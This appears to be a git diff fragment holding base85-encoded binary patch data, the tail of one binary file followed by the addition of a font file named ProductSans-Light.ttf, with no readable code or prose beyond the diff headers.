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 ZjE|EYKE{{aYUV^#nF literal 0 HcmV?d00001 diff --git a/Fonts/ProductSans-Light.ttf b/Fonts/ProductSans-Light.ttf new file mode 100644 index 0000000000000000000000000000000000000000..33de1c39f2dd872e5e3d55a8b80161bdcbdbbe44 GIT binary patch literal 92564 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 